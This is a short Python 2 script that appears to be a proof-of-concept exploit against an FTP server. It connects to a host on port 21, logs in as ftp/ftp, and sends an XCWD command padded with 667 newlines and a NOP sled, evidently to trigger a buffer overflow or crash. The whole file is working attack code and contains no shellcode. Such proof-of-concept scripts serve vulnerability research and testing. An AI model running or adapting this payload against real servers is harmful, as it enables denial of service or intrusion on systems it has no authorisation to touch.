import socket
buffer = 'XCWD ' + '\n' * 667 + '\x90' * 20
target = '192.168.1.73'
port = 21
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((target, port))
print '[*] Target: ' + target
print '[*] Port: ' + str (port)
s.recv( 1024 )
s.send( 'USER ftp\r\n' )
s.recv( 1024 )
s.send( 'PASS ftp\r\n' )
s.recv( 1024 )
s.send( buffer + '\r\n' )
print '[+] Buffer sent'
s.close()
|